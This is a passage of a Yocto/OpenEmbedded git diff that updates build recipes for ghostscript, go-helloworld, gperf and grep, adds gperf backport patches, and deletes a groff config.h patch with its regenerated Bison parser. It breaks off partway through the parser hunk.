- file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \
- file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \
- "
-
-SRC_URI[md5sum] = "0f6964ab9b83a63b7e373f136243f901"
-SRC_URI[sha256sum] = "c2501d8e8e0814c4a5aa7e443e230e73d7af7f70287546f7b697e5ef49e32176"
-
-# Put something like
-#
-# PACKAGECONFIG_append_pn-ghostscript = " x11"
-#
-# in local.conf to enable building with X11. Be careful. The order
-# of the overrides matters!
-#
-#PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}"
-PACKAGECONFIG_class-native = ""
-
-PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
- --without-x, virtual/libx11 libxext libxt gtk+3\
- "
-
-EXTRA_OECONF = "--without-libpaper --with-system-libtiff --without-jbig2dec \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \
- --with-cups-datadir=${datadir}/cups \
- CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
- "
-
-EXTRA_OECONF_append_mipsarcho32 = " --with-large_color_index=0"
-
-# Explicity disable libtiff, fontconfig,
-# freetype, cups for ghostscript-native
-EXTRA_OECONF_class-native = "--without-x --with-system-libtiff=no \
- --without-jbig2dec --without-libpaper \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --disable-fontconfig \
- --enable-freetype --disable-cups "
-
-# This has been fixed upstream but for now we need to subvert the check for time.h
-# http://bugs.ghostscript.com/show_bug.cgi?id=692443
-# http://bugs.ghostscript.com/show_bug.cgi?id=692426
-CFLAGS += "-DHAVE_SYS_TIME_H=1"
-BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1"
-
-inherit autotools-brokensep
-
-do_configure_append () {
- # copy tools from the native ghostscript build
- if [ "${PN}" != "ghostscript-native" ]; then
- mkdir -p obj/aux soobj
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- cp ${STAGING_BINDIR_NATIVE}/ghostscript-${PV}/$i obj/aux/$i
- done
- fi
-}
-
-do_install_append () {
- mkdir -p ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
-}
-
-do_compile_class-native () {
- mkdir -p obj
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- oe_runmake obj/aux/$i
- done
-}
-
-do_install_class-native () {
- install -d ${D}${bindir}/ghostscript-${PV}
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i
- done
-}
-
-BBCLASSEXTEND = "native"
-
-# ghostscript does not supports "arc"
-COMPATIBLE_HOST = "^(?!arc).*"
-
-# some entries in NVD uses gpl_ghostscript
-CVE_PRODUCT = "ghostscript gpl_ghostscript"
diff --git a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
index ab70ea98a3..74f3520eae 100644
--- a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
+++ b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
@@ -1,20 +1,22 @@
-DESCRIPTION = "This is a simple example recipe that cross-compiles a Go program."
+SUMMARY = "This is a simple example recipe that cross-compiles a Go program."
SECTION = "examples"
HOMEPAGE = "https://golang.org/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
-SRC_URI = "git://${GO_IMPORT}"
-SRCREV = "46695d81d1fae905a270fb7db8a4d11a334562fe"
+SRC_URI = "git://go.googlesource.com/example;branch=master;protocol=https"
+SRCREV = "32022caedd6a177a7717aa8680cbe179e1045935"
UPSTREAM_CHECK_COMMITS = "1"
-GO_IMPORT = "github.com/golang/example"
+GO_IMPORT = "golang.org/x/example"
GO_INSTALL = "${GO_IMPORT}/hello"
+export GO111MODULE="off"
+
inherit go
# This is just to make clear where this example is
-do_install_append() {
+do_install:append() {
mv ${D}${bindir}/hello ${D}${bindir}/${BPN}
}
diff --git a/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch b/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch
new file mode 100644
index 0000000000..96e70cdb36
--- /dev/null
+++ b/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch
@@ -0,0 +1,29 @@
+From 6194f0027045433598a61965758b4531a3d06d1f Mon Sep 17 00:00:00 2001
+From: Bruno Haible <bruno@clisp.org>
+Date: Sun, 30 Aug 2020 12:36:15 +0200
+Subject: [PATCH] Make the code C++17 compliant.
+
+* lib/getline.cc (getstr): Don't use the 'register' keyword.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/gitweb/?p=gperf.git;a=commit;h=a63b830554920476881837eeacd4a6b507632b19]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ lib/getline.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/getline.cc b/lib/getline.cc
+index c57c633..0984a7c 100644
+--- a/lib/getline.cc
++++ b/lib/getline.cc
+@@ -55,7 +55,7 @@ getstr (char **lineptr, size_t *n, FILE *stream, char terminator, size_t offset)
+
+ for (;;)
+ {
+- register int c = getc (stream);
++ int c = getc (stream);
+
+ /* We always want at least one char left in the buffer, since we
+ always (unless we get an error while reading the first char)
+--
+2.39.0
+
diff --git a/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch b/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch
new file mode 100644
index 0000000000..98959db0a8
--- /dev/null
+++ b/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch
@@ -0,0 +1,181 @@
+From 1862c6e57a308a05889c80c048dbc58bdc378dcb Mon Sep 17 00:00:00 2001
+From: Bruno Haible <bruno@clisp.org>
+Date: Tue, 5 Jul 2022 07:51:46 +0200
+Subject: [PATCH] Add support for reproducible builds.
+
+Suggested by Richard Purdie <richard.purdie@linuxfoundation.org> in
+<https://lists.gnu.org/archive/html/bug-gperf/2022-07/msg00000.html>.
+
+* autogen.sh: Import also lib/filename.h.
+* Makefile.in (IMPORTED_FILES): Add lib/filename.h.
+* src/options.cc: Include filename.h.
+(Options::print_options): Print only the base name of the program name.
+* tests/*.exp: Update.
+
+Upstream-Status: Backport
+
+Index: gperf-3.1/ChangeLog
+===================================================================
+--- gperf-3.1.orig/ChangeLog
++++ gperf-3.1/ChangeLog
+@@ -1,3 +1,14 @@
++2022-07-05 Bruno Haible <bruno@clisp.org>
++
++ Add support for reproducible builds.
++ Suggested by Richard Purdie <richard.purdie@linuxfoundation.org> in
++ <https://lists.gnu.org/archive/html/bug-gperf/2022-07/msg00000.html>.
++ * autogen.sh: Import also lib/filename.h.
++ * Makefile.in (IMPORTED_FILES): Add lib/filename.h.
++ * src/options.cc: Include filename.h.
++ (Options::print_options): Print only the base name of the program name.
++ * tests/*.exp: Update.
++
+ 2017-01-02 Marcel Schaible <marcel.schaible@studium.fernuni-hagen.de>
+
+ * gperf-3.1 released.
+Index: gperf-3.1/src/options.cc
+===================================================================
+--- gperf-3.1.orig/src/options.cc
++++ gperf-3.1/src/options.cc
+@@ -26,6 +26,7 @@
+ #include <string.h> /* declares strcmp() */
+ #include <ctype.h> /* declares isdigit() */
+ #include <limits.h> /* defines CHAR_MAX */
++#include "filename.h"
+ #include "getopt.h"
+ #include "version.h"
+
+@@ -280,6 +281,16 @@ Options::print_options () const
+ {
+ const char *arg = _argument_vector[i];
+
++ if (i == 0)
++ {
++ /* _argument_vector[0] is the program name. Print only its base name.
++ This is useful for reproducible builds. */
++ const char *p = arg + strlen (arg);
++ while (p > arg && ! ISSLASH (p[-1]))
++ p--;
++ arg = p;
++ }
++
+ /* Escape arg if it contains shell metacharacters. */
+ if (*arg == '-')
+ {
+Index: gperf-3.1/lib/filename.h
+===================================================================
+--- /dev/null
++++ gperf-3.1/lib/filename.h
+@@ -0,0 +1,112 @@
++/* Basic filename support macros.
++ Copyright (C) 2001-2022 Free Software Foundation, Inc.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, see
++ <https://www.gnu.org/licenses/>. */
++
++/* From Paul Eggert and Jim Meyering. */
++
++#ifndef _FILENAME_H
++#define _FILENAME_H
++
++#include <string.h>
++
++#ifdef __cplusplus
++extern "C" {
++#endif
++
++
++/* Filename support.
++ ISSLASH(C) tests whether C is a directory separator
++ character.
++ HAS_DEVICE(Filename) tests whether Filename contains a device
++ specification.
++ FILE_SYSTEM_PREFIX_LEN(Filename) length of the device specification
++ at the beginning of Filename,
++ index of the part consisting of
++ alternating components and slashes.
++ FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE
++ 1 when a non-empty device specification
++ can be followed by an empty or relative
++ part,
++ 0 when a non-empty device specification
++ must be followed by a slash,
++ 0 when device specification don't exist.
++ IS_ABSOLUTE_FILE_NAME(Filename)
++ tests whether Filename is independent of
++ any notion of "current directory".
++ IS_RELATIVE_FILE_NAME(Filename)
++ tests whether Filename may be concatenated
++ to a directory filename.
++ Note: On native Windows, OS/2, DOS, "c:" is neither an absolute nor a
++ relative file name!
++ IS_FILE_NAME_WITH_DIR(Filename) tests whether Filename contains a device
++ or directory specification.
++ */
++#if defined _WIN32 || defined __CYGWIN__ \
++ || defined __EMX__ || defined __MSDOS__ || defined __DJGPP__
++ /* Native Windows, Cygwin, OS/2, DOS */
++# define ISSLASH(C) ((C) == '/' || (C) == '\\')
++ /* Internal macro: Tests whether a character is a drive letter. */
++# define _IS_DRIVE_LETTER(C) \
++ (((C) >= 'A' && (C) <= 'Z') || ((C) >= 'a' && (C) <= 'z'))
++ /* Help the compiler optimizing it. This assumes ASCII. */
++# undef _IS_DRIVE_LETTER
++# define _IS_DRIVE_LETTER(C) \
++ (((unsigned int) (C) | ('a' - 'A')) - 'a' <= 'z' - 'a')
++# define HAS_DEVICE(Filename) \
++ (_IS_DRIVE_LETTER ((Filename)[0]) && (Filename)[1] == ':')
++# define FILE_SYSTEM_PREFIX_LEN(Filename) (HAS_DEVICE (Filename) ? 2 : 0)
++# ifdef __CYGWIN__
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 0
++# else
++ /* On native Windows, OS/2, DOS, the system has the notion of a
++ "current directory" on each drive. */
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 1
++# endif
++# if FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE
++# define IS_ABSOLUTE_FILE_NAME(Filename) \
++ ISSLASH ((Filename)[FILE_SYSTEM_PREFIX_LEN (Filename)])
++# else
++# define IS_ABSOLUTE_FILE_NAME(Filename) \
++ (ISSLASH ((Filename)[0]) || HAS_DEVICE (Filename))
++# endif
++# define IS_RELATIVE_FILE_NAME(Filename) \
++ (! (ISSLASH ((Filename)[0]) || HAS_DEVICE (Filename)))
++# define IS_FILE_NAME_WITH_DIR(Filename) \
++ (strchr ((Filename), '/') != NULL || strchr ((Filename), '\\') != NULL \
++ || HAS_DEVICE (Filename))
++#else
++ /* Unix */
++# define ISSLASH(C) ((C) == '/')
++# define HAS_DEVICE(Filename) ((void) (Filename), 0)
++# define FILE_SYSTEM_PREFIX_LEN(Filename) ((void) (Filename), 0)
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 0
++# define IS_ABSOLUTE_FILE_NAME(Filename) ISSLASH ((Filename)[0])
++# define IS_RELATIVE_FILE_NAME(Filename) (! ISSLASH ((Filename)[0]))
++# define IS_FILE_NAME_WITH_DIR(Filename) (strchr ((Filename), '/') != NULL)
++#endif
++
++/* Deprecated macros. For backward compatibility with old users of the
++ 'filename' module. */
++#define IS_ABSOLUTE_PATH IS_ABSOLUTE_FILE_NAME
++#define IS_PATH_WITH_DIR IS_FILE_NAME_WITH_DIR
++
++
++#ifdef __cplusplus
++}
++#endif
++
++#endif /* _FILENAME_H */
diff --git a/meta/recipes-extended/gperf/gperf_3.1.bb b/meta/recipes-extended/gperf/gperf_3.1.bb
index f61b2a329a..c57ade9fe3 100644
--- a/meta/recipes-extended/gperf/gperf_3.1.bb
+++ b/meta/recipes-extended/gperf/gperf_3.1.bb
@@ -1,18 +1,21 @@
DESCRIPTION = "GNU gperf is a perfect hash function generator"
HOMEPAGE = "http://www.gnu.org/software/gperf"
SUMMARY = "Generate a perfect hash function from a set of keywords"
-LICENSE = "GPLv3+"
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
file://src/main.cc;beginline=8;endline=19;md5=dec8f611845d047387ed56b5b85fa99b"
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
+ file://0001-Make-the-code-C-17-compliant.patch"
SRC_URI[md5sum] = "9e251c0a618ad0824b51117d5d9db87e"
SRC_URI[sha256sum] = "588546b945bba4b70b6a3a616e80b4ab466e3f33024a352fc2198112cdbb3ae2"
+SRC_URI += "file://1862c6e57a308a05889c80c048dbc58bdc378dcb.patch"
+
inherit autotools
# The nested configures don't find the parent aclocal.m4 out of the box, so tell
# it where to look explicitly (mirroring the behaviour of upstream's Makefile.devel).
EXTRA_AUTORECONF += " -I ${S} --exclude=aclocal"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/grep/grep_3.4.bb b/meta/recipes-extended/grep/grep_3.11.bb
index e176dd727b..cb3105de04 100644
--- a/meta/recipes-extended/grep/grep_3.4.bb
+++ b/meta/recipes-extended/grep/grep_3.11.bb
@@ -1,21 +1,21 @@
SUMMARY = "GNU grep utility"
HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
+DESCRIPTION = "Grep searches one or more input files for lines containing a match to a specified pattern. By default, grep prints the matching lines."
BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
SECTION = "console/utils"
-LICENSE = "GPLv3"
+LICENSE = "GPL-3.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
-SRC_URI[md5sum] = "111b117d22d6a7d049d6ae7505e9c4d2"
-SRC_URI[sha256sum] = "58e6751c41a7c25bfc6e9363a41786cff3ba5709cf11d5ad903cf7cce31cc3fb"
+SRC_URI[sha256sum] = "1db2aedde89d0dea42b16d9528f894c8d15dae4e190b59aecc78f5a951276eab"
inherit autotools gettext texinfo pkgconfig
# Fix "Argument list too long" error when len(TMPDIR) = 410
acpaths = "-I ./m4"
-do_configure_prepend () {
+do_configure:prepend () {
sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
rm -f ${S}/m4/init.m4
}
@@ -34,11 +34,13 @@ do_install () {
inherit update-alternatives
PACKAGECONFIG ??= "pcre"
-PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre"
+PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre2"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "grep egrep fgrep"
+ALTERNATIVE:${PN} = "grep egrep fgrep"
ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/groff/files/0001-Include-config.h.patch b/meta/recipes-extended/groff/files/0001-Include-config.h.patch
deleted file mode 100644
index 348a61d9df..0000000000
--- a/meta/recipes-extended/groff/files/0001-Include-config.h.patch
+++ /dev/null
@@ -1,1228 +0,0 @@
-From 6cfa9f8126c1d6ec26f120d273e714fb19108873 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 4 Aug 2019 16:32:41 -0700
-Subject: [PATCH] Include config.h
-
-This helps avoid the include conflicts where <stdlib.h> is including
-<math.h> and since -I./lib is used and a local math.h wrapper is
-residing in there, the build breaks since stdlib.h really wants the
-standard system math.h to be included, this ensures that right macros
-are predefined and included before stdlib.h is included
-
-fixes
-In file included from src/libs/libgroff/assert.cpp:20:
-In file included from TOPDIR/build/tmp/work/aarch64-yoe-linux-musl/groff/1.22.4-r0/recipe-sysroot/usr/include/c++/v1/stdlib.h:100:
-./lib/math.h:38:3: error: "Please include config.h first."
- #error "Please include config.h first."
- ^
-./lib/math.h:40:1: error: unknown type name '_GL_INLINE_HEADER_BEGIN'
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/libs/libgroff/assert.cpp | 4 +
- src/libs/libgroff/curtime.cpp | 4 +
- src/libs/libgroff/device.cpp | 4 +
- src/libs/libgroff/error.cpp | 4 +
- src/libs/libgroff/fatal.cpp | 4 +
- src/libs/libgroff/string.cpp | 4 +
- src/libs/libgroff/strsave.cpp | 4 +
- src/preproc/eqn/eqn.cpp | 450 ++++++++++++++++++----------------
- src/preproc/eqn/eqn.hpp | 12 +-
- src/preproc/eqn/eqn.ypp | 4 +
- src/preproc/eqn/other.cpp | 4 +
- src/preproc/eqn/text.cpp | 4 +
- src/preproc/pic/object.cpp | 4 +
- 13 files changed, 285 insertions(+), 221 deletions(-)
-
-diff --git a/src/libs/libgroff/assert.cpp b/src/libs/libgroff/assert.cpp
-index aceed05..97780d6 100644
---- a/src/libs/libgroff/assert.cpp
-+++ b/src/libs/libgroff/assert.cpp
-@@ -16,6 +16,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdio.h>
- #include <stdlib.h>
- #include "assert.h"
-diff --git a/src/libs/libgroff/curtime.cpp b/src/libs/libgroff/curtime.cpp
-index 72fe067..9ddba08 100644
---- a/src/libs/libgroff/curtime.cpp
-+++ b/src/libs/libgroff/curtime.cpp
-@@ -15,6 +15,10 @@ for more details.
- The GNU General Public License version 2 (GPL2) is available in the
- internet at <http://www.gnu.org/licenses/gpl-2.0.txt>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <errno.h>
- #include <limits.h>
- #include <stdlib.h>
-diff --git a/src/libs/libgroff/device.cpp b/src/libs/libgroff/device.cpp
-index 0d28b85..c211f85 100644
---- a/src/libs/libgroff/device.cpp
-+++ b/src/libs/libgroff/device.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
- #include "device.h"
- #include "defs.h"
-diff --git a/src/libs/libgroff/error.cpp b/src/libs/libgroff/error.cpp
-index 9a18803..7b63d3d 100644
---- a/src/libs/libgroff/error.cpp
-+++ b/src/libs/libgroff/error.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-diff --git a/src/libs/libgroff/fatal.cpp b/src/libs/libgroff/fatal.cpp
-index c0dcb35..fd6003e 100644
---- a/src/libs/libgroff/fatal.cpp
-+++ b/src/libs/libgroff/fatal.cpp
-@@ -16,6 +16,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
-
- #define FATAL_ERROR_EXIT_CODE 3
-diff --git a/src/libs/libgroff/string.cpp b/src/libs/libgroff/string.cpp
-index 46c015c..449f3a6 100644
---- a/src/libs/libgroff/string.cpp
-+++ b/src/libs/libgroff/string.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <stdlib.h>
-
- #include "lib.h"
-diff --git a/src/libs/libgroff/strsave.cpp b/src/libs/libgroff/strsave.cpp
-index f95c05e..d875045 100644
---- a/src/libs/libgroff/strsave.cpp
-+++ b/src/libs/libgroff/strsave.cpp
-@@ -17,6 +17,10 @@ for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>. */
-
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-+
- #include <string.h>
- #include <stdlib.h>
-
-diff --git a/src/preproc/eqn/eqn.cpp b/src/preproc/eqn/eqn.cpp
-index 4ede465..fdd9484 100644
---- a/src/preproc/eqn/eqn.cpp
-+++ b/src/preproc/eqn/eqn.cpp
-@@ -1,8 +1,9 @@
--/* A Bison parser, made by GNU Bison 3.2. */
-+/* A Bison parser, made by GNU Bison 3.4.1. */
-
- /* Bison implementation for Yacc-like parsers in C
-
-- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc.
-+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation,
-+ Inc.
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
-@@ -47,7 +48,7 @@
- #define YYBISON 1
-
- /* Bison version. */
--#define YYBISON_VERSION "3.2"
-+#define YYBISON_VERSION "3.4.1"
-
- /* Skeleton name. */
- #define YYSKELETON_NAME "yacc.c"
-@@ -65,7 +66,11 @@
-
-
- /* First part of user prologue. */
--#line 18 "../src/preproc/eqn/eqn.ypp" /* yacc.c:338 */
-+#line 18 "src/preproc/eqn/eqn.ypp"
-+
-+#if HAVE_CONFIG_H
-+# include <config.h>
-+#endif
-
- #include <stdio.h>
- #include <string.h>
-@@ -77,7 +82,8 @@ extern int non_empty_flag;
- int yylex();
- void yyerror(const char *);
-
--#line 81 "src/preproc/eqn/eqn.cpp" /* yacc.c:338 */
-+#line 86 "src/preproc/eqn/eqn.cpp"
-+
- # ifndef YY_NULLPTR
- # if defined __cplusplus
- # if 201103L <= __cplusplus
-@@ -98,8 +104,8 @@ void yyerror(const char *);
- # define YYERROR_VERBOSE 0
- #endif
-
--/* In a future release of Bison, this section will be replaced
-- by #include "y.tab.h". */
-+/* Use api.header.include to #include this header
-+ instead of duplicating it here. */
- #ifndef YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED
- # define YY_YY_SRC_PREPROC_EQN_EQN_HPP_INCLUDED
- /* Debug traces. */
-@@ -237,10 +243,9 @@ extern int yydebug;
-
- /* Value type. */
- #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
--
- union YYSTYPE
- {
--#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:353 */
-+#line 34 "src/preproc/eqn/eqn.ypp"
-
- char *str;
- box *b;
-@@ -249,9 +254,9 @@ union YYSTYPE
- int n;
- column *col;
-
--#line 253 "src/preproc/eqn/eqn.cpp" /* yacc.c:353 */
--};
-+#line 258 "src/preproc/eqn/eqn.cpp"
-
-+};
- typedef union YYSTYPE YYSTYPE;
- # define YYSTYPE_IS_TRIVIAL 1
- # define YYSTYPE_IS_DECLARED 1
-@@ -366,6 +371,8 @@ typedef short yytype_int16;
- #endif
-
-
-+#define YY_ASSERT(E) ((void) (0 && (E)))
-+
- #if ! defined yyoverflow || YYERROR_VERBOSE
-
- /* The parser invokes alloca or malloc; define the necessary symbols. */
-@@ -508,16 +515,16 @@ union yyalloc
- /* YYNSTATES -- Number of states. */
- #define YYNSTATES 142
-
--/* YYTRANSLATE[YYX] -- Symbol number corresponding to YYX as returned
-- by yylex, with out-of-bounds checking. */
- #define YYUNDEFTOK 2
- #define YYMAXUTOK 315
-
-+/* YYTRANSLATE(TOKEN-NUM) -- Symbol number corresponding to TOKEN-NUM
-+ as returned by yylex, with out-of-bounds checking. */
- #define YYTRANSLATE(YYX) \
- ((unsigned) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK)
-
- /* YYTRANSLATE[TOKEN-NUM] -- Symbol number corresponding to TOKEN-NUM
-- as returned by yylex, without out-of-bounds checking. */
-+ as returned by yylex. */
- static const yytype_uint8 yytranslate[] =
- {
- 0, 2, 2, 2, 2, 2, 2, 2, 2, 63,
-@@ -558,14 +565,14 @@ static const yytype_uint8 yytranslate[] =
- /* YYRLINE[YYN] -- Source line where rule number YYN was defined. */
- static const yytype_uint16 yyrline[] =
- {
-- 0, 121, 121, 123, 128, 130, 141, 143, 145, 150,
-- 152, 154, 156, 158, 163, 165, 167, 169, 174, 176,
-- 181, 183, 185, 190, 192, 194, 196, 198, 200, 202,
-- 204, 206, 208, 210, 212, 214, 216, 218, 220, 222,
-- 224, 226, 228, 230, 232, 234, 236, 238, 240, 242,
-- 244, 246, 248, 250, 252, 254, 259, 269, 271, 276,
-- 278, 283, 285, 290, 292, 297, 299, 304, 306, 308,
-- 310, 314, 316, 321, 323, 325
-+ 0, 125, 125, 127, 132, 134, 145, 147, 149, 154,
-+ 156, 158, 160, 162, 167, 169, 171, 173, 178, 180,
-+ 185, 187, 189, 194, 196, 198, 200, 202, 204, 206,
-+ 208, 210, 212, 214, 216, 218, 220, 222, 224, 226,
-+ 228, 230, 232, 234, 236, 238, 240, 242, 244, 246,
-+ 248, 250, 252, 254, 256, 258, 263, 273, 275, 280,
-+ 282, 287, 289, 294, 296, 301, 303, 308, 310, 312,
-+ 314, 318, 320, 325, 327, 329
- };
- #endif
-
-@@ -818,22 +825,22 @@ static const yytype_uint8 yyr2[] =
-
- #define YYRECOVERING() (!!yyerrstatus)
-
--#define YYBACKUP(Token, Value) \
--do \
-- if (yychar == YYEMPTY) \
-- { \
-- yychar = (Token); \
-- yylval = (Value); \
-- YYPOPSTACK (yylen); \
-- yystate = *yyssp; \
-- goto yybackup; \
-- } \
-- else \
-- { \
-- yyerror (YY_("syntax error: cannot back up")); \
-- YYERROR; \
-- } \
--while (0)
-+#define YYBACKUP(Token, Value) \
-+ do \
-+ if (yychar == YYEMPTY) \
-+ { \
-+ yychar = (Token); \
-+ yylval = (Value); \
-+ YYPOPSTACK (yylen); \
-+ yystate = *yyssp; \
-+ goto yybackup; \
-+ } \
-+ else \
-+ { \
-+ yyerror (YY_("syntax error: cannot back up")); \
-+ YYERROR; \
-+ } \
-+ while (0)
-
- /* Error token number */
- #define YYTERROR 1
-@@ -948,7 +955,7 @@ yy_reduce_print (yytype_int16 *yyssp, YYSTYPE *yyvsp, int yyrule)
- YYFPRINTF (stderr, " $%d = ", yyi + 1);
- yy_symbol_print (stderr,
- yystos[yyssp[yyi + 1 - yynrhs]],
-- &(yyvsp[(yyi + 1) - (yynrhs)])
-+ &yyvsp[(yyi + 1) - (yynrhs)]
- );
- YYFPRINTF (stderr, "\n");
- }
-@@ -1052,7 +1059,10 @@ yytnamerr (char *yyres, const char *yystr)
- case '\\':
- if (*++yyp != '\\')
- goto do_not_strip_quotes;
-- /* Fall through. */
-+ else
-+ goto append;
-+
-+ append:
- default:
- if (yyres)
- yyres[yyn] = *yyp;
-@@ -1148,10 +1158,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
- yyarg[yycount++] = yytname[yyx];
- {
- YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]);
-- if (! (yysize <= yysize1
-- && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
-+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)
-+ yysize = yysize1;
-+ else
- return 2;
-- yysize = yysize1;
- }
- }
- }
-@@ -1175,9 +1185,10 @@ yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg,
-
- {
- YYSIZE_T yysize1 = yysize + yystrlen (yyformat);
-- if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM))
-+ if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)
-+ yysize = yysize1;
-+ else
- return 2;
-- yysize = yysize1;
- }
-
- if (*yymsg_alloc < yysize)
-@@ -1303,23 +1314,33 @@ yyparse (void)
- yychar = YYEMPTY; /* Cause a token to be read. */
- goto yysetstate;
-
-+
- /*------------------------------------------------------------.
--| yynewstate -- Push a new state, which is found in yystate. |
-+| yynewstate -- push a new state, which is found in yystate. |
- `------------------------------------------------------------*/
-- yynewstate:
-+yynewstate:
- /* In all cases, when you get here, the value and location stacks
- have just been pushed. So pushing a state here evens the stacks. */
- yyssp++;
-
-- yysetstate:
-+
-+/*--------------------------------------------------------------------.
-+| yynewstate -- set current state (the top of the stack) to yystate. |
-+`--------------------------------------------------------------------*/
-+yysetstate:
-+ YYDPRINTF ((stderr, "Entering state %d\n", yystate));
